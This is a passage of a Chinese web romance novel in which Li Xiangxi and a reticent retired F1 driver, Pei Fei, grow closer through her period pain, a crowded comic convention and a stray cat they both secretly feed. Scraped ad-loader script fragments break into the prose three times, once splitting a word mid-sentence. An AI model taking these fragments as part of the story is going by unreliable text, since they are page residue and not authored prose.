晚餐她一直举着手机,他不用想也知道是跟谁发消息,还时不时传来开心哼笑的声音。 他嘴巴微张,想说什么,最后还是闭了口,起身上楼梯。 - 19. 呼唤他 翌日,晨光微明,霞光渐渐照亮城市,黎向浠捂着腹部从洗手间出来。 她以前是不会痛经的,但黎蔓出事之后,应当是情绪压力大,上次生理期她也在沙发躺了一天,疼到没力气。 这次似乎更严重,像是好几根针扎在腹部的位置一样,好一阵坏一阵地疼,因为怕冷,她穿了一件外套。 黎向浠走出房间门,看到对面裴非也刚开门出来,他依旧是清清爽爽的无袖,简单利落,也没有看向她。 “早上好裴非。”黎向浠照常问候。 听出她声音有气无力,裴非戴帽子的动作一顿,最后还是挡住视线地戴上帽子,走向楼梯口。 按照平时,裴非都会轻轻回一声“嗯”,今天却没有回答,以为是自己说话声音小了,他没听到,黎向浠又问候了一遍,“裴非早上好。” 裴非停下脚步,轻轻一声:“早。” 早? 他平时都是轻轻嗯一声,今天居然和她问候“早”? 黎向浠震惊,开心的情绪还没得到释放,扯到腹部,她皱着鼻子地倒吸一口凉气。 裴非抬眼看过去。 黎向浠趴在扶手上,小脸泛白地挤出笑容朝他挥手,“没事,小事,马上就好。” 尽管裴非没有接触过这些,但也是个正常男人,一个活蹦乱跳的女生突然无力,或多或少也猜得到一二。 他收回眼神往门口走去。 黎向浠下楼,蜷缩身体躺在沙发上,拿出手机。 倪婷发来的消息:【浠浠,下午两点开始噢,很热闹,你应该很喜欢,记得地址,打车过来就行,晚上我送你回去。】 倪婷今天有一个展,而且倪婷也是工作人员,没办法过来接她,不过好在是下午,黎向浠估算着躺一个早上,应该缓和不少,等能出门了,去买个布洛芬,就万事大吉了。 正搜着附近的药店,裴非从门口进来,黎向浠立刻爬起。 “你今天没有跑步吗?怎么回来那么早啊?” 因为疼痛,她额头出了不少汗,这一起来,又疼得她扯动嘴角。 “还没。”裴非眼神滑过她。 他走到茶几前,今天的早餐格外多,裴非将它们放在黎向浠跟前,居然排成了一小排。 裴非只是带回来放好就又出去晨跑。 黎向浠一头雾水打开,除了包子馒头之外,有一份红糖红枣粥,一份清粥,还有一大杯红糖水。 温热的白雾上升,飘到黎向浠脸上,像是一双宽厚的手掌在温柔抚摸着她的脸颊,黎向浠眸色触动。 她拿起红糖水喝一口,甜意在口腔炸开,暖呼呼的感觉顺着身体聚焦在腹部,慢慢抵抗那股阵痛,她的嘴角也上提得更有劲了。 裴非似乎开始接纳她了,或者慢慢把她当朋友了。 黎向浠喝完红糖水,又将那份红糖红枣粥喝光,痛经缓解,身体渐渐暖和起来。 裴非今天没有去基地,说是许子炀盯着,他放假一天。 下午时候,黎向浠换上一身简单的素色长裙,一双平底皮鞋,背着链条挎包,生理期让她看上去文静了不少。 准备出门时,裴非正巧从车库回来,没戴帽子,碎发蓬松,强烈太阳光让他薄长的眼睛半眯着,充斥着少有的慵懒劲儿。 “裴非!”黎向浠喊他,她已经恢复力气了,而且喝完红糖水之后就不痛了。 她汇报着行程:“我要去找倪婷,参加她的一个展,晚上也跟她一起吃饭,你要自己弄晚餐了哟。” “嗯。”裴非点头,他停下脚步又补一个,“好。” 道别后,黎向浠打开手机,一边找车一边走向门口。 老宅在郊区,又是偏远的别墅区,很少有车子会在这个地方走,所以黎向浠慢慢沿路走,等司机接单。 但等待了近十分钟,也没有接单的动静。 太阳有些猛,她已经出汗了,或许是走路,腹部又隐隐有些痛觉,黎向浠靠在路边的林荫树下休息,抽出纸巾慢慢擦着脸颊。 后方开过来一辆黑色布加迪,停在她跟前。 车窗按下,黑色的鸭舌帽盖住裴非大半张脸。 黎向浠扬起嘴角,“裴非?你要去哪里啊?基地吗?” “上车。” 黎向浠有些意外道:“我们应该不同路吧?基地在更远的郊区,我要去市区的。” 她没去过基地,但之前裴非帮她们修车时走的方向,大概也知道一些。 “我也去市区。”裴非说。 “真的?!”黎向浠心底暗自庆幸,小碎步上前打开副驾车门,“太巧了!那你到了之后放我下去,我自己坐公交过去就行。” 裴非嗯了一声,车子往前驾驶。 黎向浠悄悄搓了搓手臂。 车内空调很凉爽,她现在不能吹太多,很容易又疼起来,但如果调高温度,裴非又会觉得热。 黎向浠只是往车门处挪了挪,抱紧自己,尽量不要让裴非看出来她的窘迫,毕竟他答应带她一段路,她已经很满意了。 “对了,今早你在门口看见那只小黑猫了吗?”黎向浠问。 她今早没有出去,不知道那只小黑猫会不会想她。 “看见了。”裴非顺手调整空调温度。 一阵暖意袭来,黎向浠手臂松弛下去,她没有察觉,还在撇嘴不满说:“也不知道为什么,它就是不吃我喂的东西,我都跟它玩了那么多天了。” 裴非平平回:“吃饱了吧。” 黎向浠脸颊气鼓鼓,“一大早就吃饱了吗?而且猫咪怎么会对美食没有兴趣?它肯定就是不喜欢我,一般不喜欢我的才会不理我。” 裴非眼底含笑:“不会。” 有一茬没一茬,黎向浠跟裴非抱怨了一路,车子抵达市中心,等红绿灯间隙,裴非掠了她一眼说:“导航,你的地点。” “不用不用,你在前面的公交站放我……” “导航,晚了可能会错过路口。”裴非并没有等她说完就打断她的啰嗦。 黎向浠只能乖乖照做,但嘴上还在推脱:“这样的话会不会耽误你的事啊?而且我看这里过去还要个二十分钟呢,你再返回去又得要好久。” “没事,外放导航。” 黎向浠照做,顺口问:“你的事情不着急吗?” “嗯。” “不着急的话你待会儿跟我一起去玩吧?那些展很好玩的!好多有意思的人!” 裴非没有回答了。 漫展在市中心的展览中心,前方有一片进场的空地,已经开始了,所以外面没有几个人。 倪婷站在入口处,见车子过来, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她也往前走。 黎向浠解开安全带,问裴非:“你跟我们去吧?真的,来都来了。” 来都来了,无敌的四个字。 但裴非不为所动,任由她怎么劝,也只是单手摆在方向盘,没什么表情。 黎向浠嘴角落下去,放弃劝说。 倪婷敲了敲黎向浠车窗,“浠浠,待会儿我带你进去,但今天只能你自己逛了,那边出了些小问题,我得去解决一下。” “啊?”黎向浠有些惋惜,上次去临市,是倪婷带着她玩才有意思,她其实不太了解这些,但觉得很有好玩,想去凑凑热闹。 “我自己吗?”黎向浠不甘心又问了问。 倪婷摸着她脑袋,“没办法呀,我一个打工人。对了,你记得保持手机有电,今天漫展规模比临市大很多,你又搞不懂方向,我怕到时候找不到你又联系不上你。” “那我也不去了,自己逛好无聊,我又看不懂。”黎向浠凑到倪婷肩膀上撒娇。 倪婷无奈,黎向浠对朋友的需求程度比她记忆里的高了许多。 倪婷看向驾驶座的裴非,这个人上次打过面罩,虽然冷冰冰,但帮忙修车弄了一手机油也无怨无悔的,很可靠,尤其长得不错。 “你这不是有一个朋友吗?”倪婷下巴扬向裴非。 裴非看过来,眉梢微动。 黎向浠跟着转头,可怜巴巴问:“你要去吗?” - 展厅很大,但摆满各种摊位,还有许多coser在展示,人群熙攘嘈杂,瞬间显得拥挤很多。 黎向浠步履轻快走在前面,双眼放光打量着里面的一切。 后面,裴非戴上黑色口罩,鸭舌帽压得更低了,身材修长,身形高大,比黎向浠高了一个头,紧紧跟在她后面,像是没感情的保镖。 黎向浠一个一个看过去,各种很还原很专业的cosplay,还有几个是她能认出来的,比如什么越前龙马,怪盗基德等等,还有游戏里的人物,眼花缭乱。 她从头逛到尾,跟他们聊天,听他们科普,玩得不亦乐乎。 临近结尾,主舞台有人说话,声音很好听,似乎是一个CV,人气很高,周围的人群开始心情澎湃地往中心靠拢。 黎向浠混在里面,她不想往前面走,要转头走出去,但抵抗不住人潮的力量,一直被撞着往前走。 走出一段路后,黎向浠回头看不见裴非的身影,她拿出手机想联系,结果被人碰掉了。 黎向浠蹲下身子捡,身后被人撞到,啪地一下跪在地上,慌乱间,手背传来一阵刺痛,上面留下一个深深的脚印,手机也越踢越远。 “裴非!”黎向浠有些着急,混乱中她胡乱喊,“裴非!” “黎向浠。” 裴非的声音很低沉,有些担忧地从前方传来,他的声音很好听,所以在嘈杂的环境中很好辨认。 但人太多了,黎向浠个子本来不占优势,还蹲在地上起不来,知道裴非大概方向她也过不去。 地上的脚步越来越快,黎向浠不安感也越来越重,她越过一只只脚,寻找那双马丁靴,喊着:“裴非!裴非我在这里!” 不一会儿,一只附满青筋的手,对抗人群的冲撞,将她从地上拉起。 黎向浠跌入一个宽厚的胸膛里。 - 20. 感受他 裴非高大的身形立在波澜起伏的人潮,像是一根定海神针,抵住可能撞过来的力量,在熙攘的人群里,为黎向浠圈出一小片安静的空间。 黎向浠紧贴着他胸膛,小手攥着他的夹克领口,仿佛他是她漂泊在海里抓到的悬浮的木头那样紧,人群推搡也没有将他们分开。 空气再次流通,强有力的安全感袭来,黎向浠大口呼吸。 须臾。 缓过来之后,黎向浠看向前面掉在地上的手机,语气无助说:“裴非,我的手机掉了。” 主持人在维持秩序,大家都留意了脚下,一双双前进的鞋子,都像突然长了眼睛般精准绕过它,但依然没有被捡起来,手机躺在那里,像是被欺负得脏兮兮的小孩。 裴非搂着她肩膀,将她护在身体里往前走,鹤立鸡群的身高走过去,人群自动开出一条道路。 黎向浠在他怀里走着,如履平地。 裴非弯腰将手机捡起来。 “走。” 裴非拉着她手腕,穿过一层层人墙,走到进门的位置,两人才有空间能站开。 裴非将手机上的灰尘擦拭干净,递给黎向浠。 黎向浠接过,甜甜说:“谢谢!” 裴非看着她手背拧眉,那里有叠加在一起的脚印,深深浅浅,灰溜溜的。 “不疼,你看,没有受伤。”黎向浠拍了拍手,将脚印擦掉,在他跟前翻来翻去地展示。 确实没有受伤,但拍不干净,红彤彤的小手上,尘土变得斑驳,能踩得那么深,刚刚应当很疼。 她真是为了热闹什么不怕。 刚刚他只是回了许子炀一个消息,人群突然拥挤,他抬眼就看不见黎向浠人影了,她个子不算高,很容易淹没在其中。 他找了好久,听到喧嚣里传来一声呼喊,从地上来的,她特有的,清脆拔高的声线,或许是被围困,变得无助又闷闷的。 这时,一个十七八岁脸颊稚嫩的男生从洗手间出来,从他们身边走过两步,又退回来,“咦?”了一声,上下打量裴非。 裴非转走脸,压低帽子。 男生嘴角立刻露出笑意,拇指朝向裴非,却对黎向浠开心说:“他不是coser吧?他好像真的是裴非,F1赛车冠军的那个裴非。” 裴非身子一顿,朝黎向浠轻轻摇头。 男生转回脑袋,语气惋惜说:“嗐,上次想去看你比赛,结果你退役了。” 他又急忙脱下背包,拉开拉链在里面手忙脚乱翻找,“对了对了,你能不能给我签个名啊?我们再合照一张,我回去跟朋友炫耀炫耀。” 这人是裴非的支持者,黎向浠觉得裴非应该会和他说两句话,至少回个一两声也行。 但裴非缄默不言,她看见他口袋的手隆起拳头的形状,后槽牙的痕迹快从口罩后方印出来了。 看得出,裴非想拒绝。 黎向浠思索一番,走到裴非身边,抓着他胳膊朝男生轻笑说:“你认错了,他是我朋友,不是你说的什么裴非。” 男生动作停住,又认真打量裴非,笃定说:“不可能,这身形就是裴非,能几个人有这种气场,不过,姐姐你是谁?你跟裴非是什么关系?” 真爱粉确实厉害,黎向浠只能硬着头皮笑说:“哎呀弟弟你真的认错啦,他真的不是……” 话没说完,黎向浠感觉到有一只宽厚的手掌牵住她,那只手温度比她体温要高一些,暖暖的,有一层很厚的茧子,磨在她手心,酥酥麻麻。 是裴非在牵着她。 想来是为了让这个男生信服,裴非不得不这样,黎向浠并没有多想。 但这是她第一次跟男人牵手,耳垂还是不免泛起淡淡红晕。 下一秒,那骨节分明,青筋盘绕的手,带着浑厚的力度,紧紧扣住她的每一根手指,和她掌心相贴,一种被禁锢但很安全的感觉袭来。 黎向浠不敢动。 她笑容僵了一下,配合着朝男生反问说:“现在呢?你还觉得他是你认为的那个人吗?” 男生愣住,看着向十指紧扣的双手,眨巴眼挠着脑袋,眼神迷茫。 时间一分一秒过去,男生还没有下判断,黎向浠的手心在慢慢冒汗,她不自觉抽了抽指尖,无意摩挲在裴非指背。 裴非似乎也不太适应这样,于是被粉嫩指尖挑逗那一下,他手指蜷缩得更紧了,贴合得也更严丝合缝了。 少顷,男生接受了现实,有些失落地收起背包,垂下肩膀,“也是,裴非不可能谈恋爱,而且现在应该在国外才对,可惜,他不比赛了,都不知道要去哪里见一见他。” 他嘴角挤出笑容,朝他们抱歉笑了笑,“认错人了不好意思。” “没关系。”黎向浠也有些抱歉回答。 毕竟站在他跟前的人,确实是裴非,但她不知道裴非为什么不愿意承认。 等男生离开,黎向浠捕捉到一个信息,裴非不可能谈恋爱。 但许子炀的话让黎向浠误以为裴非谈过恋爱。 黎向浠想,裴非是不是在谈地下恋,因为跟那个女人分手了,太伤心才回国的。 那退役的原因不会也是分手吧? 男生走远,裴非动了动手臂,抽出手,“抱歉。” 对利用她这件事抱歉。 温度抽离,黎向浠往旁边挪了一步,悄悄松一口气,落落大方笑说:“情况紧急,这不算什么。” 裴非“嗯”了一声,将手放入口袋。 两个人眼神闪躲了一会儿,黎向浠想打破尴尬,于是转头,八卦问:“所以,你还是单身啊?” 帽子的光影落在黎向浠闪烁的杏眼上,乌眸是未谙世事的天真。 裴非睫毛轻颤。 第一次被人按着脸问单不单身,还是沈推凡未婚妻,裴非怎么都觉得怪怪的,尤其,他掌心还留有她的余温。 裴非清了清喉咙,尴尬挪走视线“嗯”了一声。 黎向浠:“噢噢,哈哈……” 似乎更尴尬了,她为什么要了解他单不单身? 黎向浠摸了摸鼻尖,指着外面说:“我们也出去吧。” 这里人太多,怕裴非再次被认出来,这样他天天戴帽子就白忙活了。 场馆外斜阳是淡橘色,一大片广场里,还没散场,只有几个不疾不徐的行人。 倪婷正巧结束工作,靠在车上朝他们问:“说吧,想吃什么,今晚我请客。” 裴非只是和她点头当做礼貌,转身往布加迪走。 “你不去吗?”黎向浠跟过去问。 “不,去基地。”裴非说。 刚刚许子炀给他发信息,就是要他回去的。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 黎向浠:“好吧,那你晚餐要自己吃了。” 裴非打开车门:“在基地吃。” 黎向浠反应过来,今天一整天裴非对她的话都有回应,尽管只是一两句话,但和之前的缄默不语比,已经算是话多了。 裴非坐上驾驶座,脱了口罩,落日照向脸颊,映衬在他眼底,有了微微的暖色。 “谢谢你!”黎向浠露出不加掩饰的笑容。 裴非掀起眼皮看向她,不理解她突然说出来的谢谢指的是哪件事。 “你今天跟我说了好多话,送我过来,还陪我看展了,谢谢你!”黎向浠一一细数道谢。 裴非鼻腔哼气挪走眼,这些只是举手之劳,反正他也没事情做。 “那我们算是朋友了吧?上次许子炀问,你还只是说我们见过几面而已,下次碰见许子炀,我可以说我们是朋友了吗?”黎向浠满眼期待。 “晚上过来接你?”裴非换了聊天话题。 没有正面回答,但字里行间却是为她着想,也算是答案。 黎向浠眸光欣喜看向那张冷冰冰的侧脸。 裴非转头,对上她炙热的眼神,他眉梢很浅地挑了一下,微弱的神情,让没有感情的五官有了正常人的情绪。 黎向浠抿嘴,开心自己能和他拉近关系,又紧忙摇了摇头,“不用啦,倪婷会送我回去的!你忙你的就好!” “嗯。”裴非眼神滑过她已经恢复的手背,按了按喇叭,示意他要开走了。 黎向浠让出道路。 布加迪踩着余晖离开,黑色车身盖上薄薄一层斜阳,像是暖色调的滤镜。 倪婷走到黎向浠身边,跟着她的视线一起看过去,八卦说:“还看呢?舍不得?” 黎向浠回神,皱了皱鼻子将倪婷推往车边,“不是不是,走,我们吃饭去。” 倪婷:“这个男人真不错,话少长得帅,还这么有责任感,反正你没谈过恋爱,要不跟他试试?我看他对你也挺好的。” 黎向浠看看自己的手,耸耸肩,“我跟他不可能的,我们只是朋友而已啦。” 她确实是这样想的,跟裴非当朋友,满打满算,他们刚刚才算朋友。 因为裴非的主动靠近,黎向浠心情好,胃口大开,吃的比平时多了一倍。 回到老宅时,裴非房间门紧锁,黎向浠没有打扰他,只是给他发了一条信息:【我回来啦!晚安!】 黎向浠觉得,两个住在一起,那行动方向还是告知一下彼此比较好,显得关系亲近。 她去书房,打算录制有声读物消消食。 阳台上的手机震动,微信弹出信息栏,茶几旁边,男人神色淡漠,英隽的五官在晦暗的光线立体得明显,他今晚没有抽烟,只是靠在椅子上,回想今天下午在漫展看到的场面。 女生对那些东西一点也不了解,但却看得兴奋,她会用手机搜coser的角色,然后凑到coser旁边各种拍照鼓掌,嘴巴一刻不落夸着他们太棒了,还用刚刚查的知识和他们聊天,那些和她对话过的人都笑得很开心。 她努力讨好所有人的样子,让裴非想到以前的自己。 他们真的挺像的。 女生录制故事的声音传出来,打断裴非思绪,他沉了一口气,又一次转动手里的蝴蝶刀。 - 21. 提醒他 清晨的庭院水汽氤氲,微风有了初秋的凉意。 黎向浠一身简单的运动衣蹲在门口,跟前是舔毛的小黑猫,跟一块小煤炭一样,黑不溜秋。 她拿出一根火腿递过去。 尽管知道小黑猫不会吃,她还是每天碰碰运气,万一它没吃饱呢? 小黑猫闻了闻,警惕后退,黎向浠挎起小脸。 果然还是一样。 “这个没有毒的。”黎向浠无奈。 她掰下来一小块,放在地板,嘟囔道:“你都挠过我了,吃我给你的一两口零食怎么了?哄哄我也好啊,裴非这样的冷脸怪,这两天都跟我说''早''了呢。” 小猫似乎受不了她的唠叨,走上前,小心翼翼嗅了嗅,黎向浠立刻扬起嘴角。 要吃了! 结果……它像是闻见什么毒药,无情撇走小脸,看向庭院。 黎向浠眼神放平,嘴角掉下去,喃喃说:“算了,不吃就不吃,真挑食。” 她叹息捡起那块火腿,虚握在掌心,小猫却犹犹豫豫朝她叫唤,凑到她指尖。 “干什么?给你又不吃,耍我啊?”黎向浠点着它脑袋,摊开手。 小猫探头,长长的胡子刮过她指尖,嗅了两下,小舌头在她掌心的火腿上试探舔了舔。 黎向浠定住动作,不敢呼吸。 它还是第一次接触她给的食物,好神奇。 舌头粉嫩柔软,上面还有白色的刺,又轻轻舔了第二下,然后咬下一口,小獠牙使劲儿咬着。 黎向浠不敢打扰它,害怕它不继续了,只是这样看着。 须臾。 小黑猫吃完掌心的火腿,又扭头去找另一只手里的火腿。 黎向浠化身一尊雕塑,除了微风抚过,发梢晃动之外,再无任何动静,这样看着小猫仰头吃“自助”。 过了一会儿,火腿消灭一半。 小猫肚子圆滚滚,眯着眼睛在原地洗脸,嘴里细细回味地喵着,黎向浠这才忍不住嘿嘿了一声。 太可爱了,毛茸茸的,嘴角还挂着食物残渣,她忍不住伸手摸它脑袋。 身后响起脚步声,黎向浠转头。 裴非的衣服还是黑色为主,但运动裤侧边有了两条白色条纹,比平时精神不少,他漆黑的瞳孔里,眼神淡淡的。 黎向浠举起火腿跳到裴非跟前,展示说:“裴非!你看!小黑猫吃我给的火腿了!还吃了一大半呢!” 裴非看过去,小黑猫朝他喵了一声,蹿到拐角消失了。 他眼底涟起不易察觉的笑意,“嗯,看见了。” “我就说坚持一定会有结果吧!你跟小猫都……” 黎向浠想说都被她拿下了,但这个形容有点奇怪,她及时刹车。 裴非似乎猜得到她要说什么,掀起眼皮盯过来,有提醒她谨言慎行的意味。 黎向浠立刻改口,惺惺笑说:“你跟小猫都是这样,现在好啦,你们都是我朋友了!” - 从这次之后,小黑猫好像打开了零食的大门,早上来找黎向浠要火腿,晚上还要在门口喵上几句,等黎向浠投喂之后才离开。 黎向浠开始怀疑这只小猫有没有人收养了,为什么白天都在瞎跑。 于是这天早上,她抱着小黑猫一边投喂一边逛别墅区,想看看有没有它的主人认领。 直到在别墅区最里面,一位四十多岁模样的阿姨迎面走来,笑盈盈和她说:“小碳居然让你抱啊?” 笑起来的眼尾还有几条和蔼的鱼尾纹。 “小碳?”黎向浠看一眼怀里黑不溜秋的猫,确实很符合这个名字。 “阿姨,这是您家的猫吗?怎么一直在外面跑啊?” 阿姨:“不是,我在这家当阿姨,这只猫性子野,就爱在别墅区溜达,到点了会自己回家。我只负责午餐晚餐喂一喂,早餐它似乎有地方吃了。” 黎向浠点头,看来真是有人喂过它了。 阿姨:“这猫不让陌生人碰,除非挠你一下才行,你不会是让它挠过了吧?哎哟,快跟我进家门,让它主人给你报销疫苗的费用。” “不了不了阿姨,没事的,我给您送回来了就好。”黎向浠把猫塞进阿姨怀里,摆摆手离开了。 知道小猫有家人,她也就放心了。 回到老宅的时候,裴非正巧出来,准备上车去基地。 “裴非!”黎向浠走上前,迫不及待分享,“我刚刚知道一个秘密!小黑猫的名字叫小碳!而且你想抱它之前啊得让它挠一下才行,幸好你没有靠近它,记得下次看见不要伸手噢!” 看见那双闪烁的杏眼里,黑漆漆的瞳孔在顽皮地晃动,裴非有些笑意地掠了她一眼。 “好。” 他上车离开。 黎向浠的分享得到回应,她心满意足回了客厅,坐在沙发上给倪婷挑选礼物。 倪婷生日要到了,之前倪婷在京北,她在山城,两个人只能隔空送礼物说祝福语,这次可以一起过生日了。 黎向浠有点期待,赶紧考虑着送什么。 打开购物软件,第一个居然是跳出来猫粮,黎向浠感叹一番大数据监控,点进去,第一次尝试购买猫粮。 她想起阿姨说的话,早上是有人喂猫的,那个人喂的是什么?是零食还是猫粮?如果买重合了的话,小碳可能不爱吃呢? 于是买猫粮计划搁浅,黎向浠打算明天早点出门,去蹲一蹲另一个喂小碳的人,确认一下那人喂的食物。 - 翌日清晨,窗外鸟鸣声声,老宅的空气像是混进了快乐因子,黎向浠睁眼便进入兴奋状态。因为她打算赶早,趁小碳吃早餐前,去看看投喂它的人是谁。 洗漱好,黎向浠站在门口,朝对面一同出来的裴非挥手,“早上好裴非!” “早。”裴非声音低沉磁性,没什么起伏。 他转身下楼。 黎向浠咧开嘴角,哒哒跑过去,重复着问候:“早上好早上好!” 女生活蹦乱跳越过裴非身侧,随风带起的发端抚过线条流畅的手臂肌肉,欢欣的情绪像是就这样传递了一般,裴非风平浪静的眸光起了一丝涟漪。 他跟在黎向浠后方,走出院子,和她反方向,沿着柏油路开始晨跑。 黎向浠是贴着道路旁别墅的围墙挪动的,她害怕突然出现,惊扰了喂猫的人。 绕过半个别墅区,走了二十多分钟,依旧没有看见人影。 黎向馨脸颊有了疲惫的红润,脚底渐渐发烫,她张大嘴巴呼吸,一手叉腰,一手在脸颊扇风。 以为要无功而返,黎向浠啧了一声撅着嘴,却在走出拐弯的第一步,在那个没有车辆的十字路口,看见了小黑猫的影子。 黎向浠眼神重新精神起来,她将身子缩到墙后面,探出脑袋。 宽阔的柏油路寂静无声,裴非单膝蹲在路边,跟前是一只黑漆漆的小猫,他们对峙着,一大一小,都是黑漆漆的“皮肤”。 裴非一只手搭在膝盖上,一只手递出火腿。 小黑猫眯着眼,小嘴急匆匆咬着,像是害怕被抢走那样囫囵吞枣。 犹如丝绸般轻盈的太阳光照射下来,打在裴非不苟言笑的侧脸,在地上投出长长的影子,也在漆黑如墨的瞳孔留下一抹橘色。 黎向浠以为是自己看错了,裴非的神色比平时温和许多。 她揉了揉眼再看过去。 裴非在笑。 黎向浠之前的想法没错,裴非笑起来就是很好看,像皑皑雪夜里,挂在天边狡黠的月。 薄长的眼睛轻轻眯起,下眼睑浮起好看的卧蚕,清晰的唇线微微上提。 平时凌厉的眸光,此刻像是清介的月光,小心翼翼包裹着那只小黑猫。 他伸出手,揉在它毛茸茸的头顶,在那里打了个旋,小毛发立起来,可可爱爱,他也看得笑意更深。 手背上的青筋在晨光熹微下,透着冰冷的淡青色,手指骨节分明,巴掌很大,小黑猫的脑袋在他手里就像是不起眼的玩物。 小黑猫闭上眼,懒散喵了一声,小脑袋使劲往那只宽厚的掌心蹭过去。 风轻轻吹过,裴非前额碎发扬起,硬朗的五官褪去了攻击力,黎向浠像是在遍地寒风里,发现了他私藏在一隅的温暖。 真好啊,她傻笑着。 风吹到这边,黎向浠闻到一股淡淡的沉木香,她趴在墙上呆呆望着,没有出声,不舍得打扰这一幕。 许子炀无意间的那句话,又浮现在黎向浠脑子里,他对小黑猫都如此宠溺,那他对自己喜欢过的女生该多好。 应该很有安全感吧,就像漫展那天,他保护她那样,应 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 该会时时刻刻保护那个女生。 真好,可惜这种美好的感情,好像不能出现在她身上了。 黎向浠睫毛垂下去,深深沉了一口气。 她并不打算告诉裴非自己发现了这件事,裴非现在把她当朋友了,但很明显没有对小碳那么温柔。黎向浠觉得,他可能在治愈情伤,按照那个男生的说法,裴非分手应该没多久。 她抿了抿唇线,最后捕捉一眼那片景色的祥和,依依不舍转身。 后方,风继续拂过,带来男人低沉磁性的声音。 “乖,先吃这些,待会儿还有人会喂你。” 像是致命一击,黎向浠停下脚步,错愕回头,想看看说出这句话的人,是什么表情。 裴非笑着从小碳嘴里抢过还剩一半的火腿,包好放在一边,开始逗它玩。 他将帽子盖到小碳头上,小碳脑袋彻底隐身,在地上打滚喵喵叫唤,他满含笑意看着它撒娇。 没一会儿,小黑猫玩累了,裴非拿走帽子,双手托起小碳,跟它额头抵着额头,轻轻蹭了一下又将它放下去,点了点它头顶。 “去吧,去找新朋友玩。” 好像有什么东西在猛烈灌进她神经,黎向浠屏住呼吸,努力扼制体内莫名其妙活跃的血液。 但没有用,她整个人都是亢奋的,她心跳太快,打在胸口隐隐作痛,她好不容易被风吹安稳的体温,又开始熊熊燃烧起来。 小猫往墙角这边走,黎向浠迅速回身贴在墙壁上,她呼吸很急,食指放在唇尖,做了个嘘的动作,试图跟小猫沟通。 喵~ 小碳还是叫了出来,走到她跟前停下,蹭着她脚踝。 黎向浠震了一下,担心裴非发现她,她咬着牙,脑子开始思考要怎么解释为什么自己一大早要躲在墙角,跟小偷一样地偷窥。 好在,裴非没有出现,等了一会儿,对面并没有动静。 黎向浠心虚地探头。 裴非五官恢复了没什么感情的状态,他把地上的碎片捡起,扔进垃圾桶,便逆着光,和她反方向晨跑,消失在拐角。 如果不是风里留了那抹淡淡的沉木香,那一方干净的角落,似乎没有发生过那个故事一样,毫无痕迹。 黎向浠松了一口气,拍拍胸口,她弯腰将小猫抱在怀里,它嘴边还有剩余的火腿残渣,她笑着将它擦掉。 “新朋友。”黎向浠重复着。 裴非真的把她当朋友了,而且,她发现了裴非好多秘密啊。 他偷偷回国,他失恋,他喂小猫,还有,他偷偷说她是新朋友。 真好。 今天的阳光很干净,温温柔柔,路上,初秋的林荫打下来,有些微凉。 黎向浠抱着小碳,脚步轻快往回走,时不时将它举到头顶转圈,还装着跳恰恰那样,脚尖顽皮踩在落叶上,笑声咯咯。 为了不被怀疑,她还是蹲在了院子跟前,给它喂火腿。 黎向浠这才注意到,裴非每次出门前都要去一次厨房,而且,冰箱的火腿每天都会少,她还以为是裴非吃的。 黎向浠跟着刚刚裴非的动作,将手覆盖在小碳的头顶,眉眼弯弯,“呀呀呀~原来那些都是你吃的呀~” 后方传来脚步声,黎向浠回头。 裴非朝她靠近,肩膀宽阔,手臂肌肉结实而有力,刚刚跑完步,他呼吸的胸口起伏明显。 “你回来啦!” 黎向浠满心欢喜抱着小猫走到裴非跟前,看着他的表情,试图找出他认识它的证据。 裴非还是那样,眼神没什么感情滑过这只猫,淡淡“嗯”一声,回了老宅。 装得真是滴水不漏,黎向浠轻哼。 她放下小猫跟上去。 裴非给她递过去早餐,平平说:“今天我要去基地。” “我知道呀!”黎向浠接过。 裴非几乎每天都去基地,今天过去没有什么特殊的,黎向浠就当他是把她看成朋友,和她说一说日常活动。 “你每天都去基地的,我知道。”黎向浠笑着回,咬了咬豆浆吸管。 “你得自己去。”裴非躲避她的眼神说。 “去哪?” “第二针。” 黎向浠愣住,看向平平说出这三个字的裴非,她心底在放烟花。 - 22. 触碰他 黎向浠手忙脚乱去桌子上翻出她的疫苗注射卡片。 果然,今天是第二针的时间。 她拍了拍胸口,长舒一口气,“好在你提醒,我差点就忘了,没关系,我知道在哪里了,你过去吧,我自己去就行。” 裴非只是轻笑,吃完早餐便出门了。 黎向浠选择下午出门,她算了一下时间,骑自行车到超市门口,然后坐公交。 打车从郊区过去需要很长一段路,时间充裕的情况下,还是太奢侈了,尽管向家给了她一笔钱,但要花在刀刃上,或者留给黎蔓才行。 而且这样回来的时候,碰巧可以去超市买菜,到家就是做晚餐的时间。 上午还是晴天,中午天空挂起淡淡的乌云。 路程远,黎向浠坐公交到市中心后,还需要转一趟公交。 天空的乌云厚起来,开始吹风,树叶唰唰作响。 黎向浠在站牌处查看疾控中心的公交是哪一趟,风吹得头发凌乱飘在眼前。 一辆劳斯莱斯幻影停在她身后,按下喇叭,本就惹眼,这下就跟天上的黑云一样醒目。 “浠浠宝贝,终于让我偶遇一次了。”许子炀轻快的声音传来。 黎向浠转头,拨开打在脸上的碎发,弯腰看向驾驶座,许子炀一身运动装,刚睡醒的模样,眼尾还挂着疲惫。 她和他挥手,“许子炀?你怎么在这儿?真巧!” 许子炀也挥手,往后面指了指,“我就住你那栋楼。” 黎向浠看过去,那栋楼在京北最繁华地段,占地面积很大,很是奢华。 “你要去哪里啊?上车我送你。”许子炀打断她打量的眼神。 黎向浠回头,赶紧摆手,“不了不了,太麻烦了,你应该很忙的。” 他是裴非朋友,要是她说错什么话,被他知道自己跟裴非住在一起,那就惨了。 见她推脱,许子炀下车,推着她后背,“不忙,基地有裴非守着呢,上来吧,要是让他知道碰见你还不能捎你一段,我多没面子。” 没等拒绝,黎向浠已经被迫坐到副驾驶了,许子炀又强行帮她扣上安全带,这才上车。 “你要去哪里?”许子炀问。 黎向浠挤出感谢的笑容,认命说:“那就麻烦你了,去疾控中心。” 她打开手机,准备导航。 许子炀已经打下转向灯出发了。 “你不用看导航吗?” 上次裴非还是需要的。 “我就是京北人,家门口导航什么。” 想来也是,黎向浠收起手机。 许子炀开车的样子很休闲,单手,他打开车窗,另一只手肘撑在上面,风灌进来,吹着他碎发,典型富二代慵懒感。 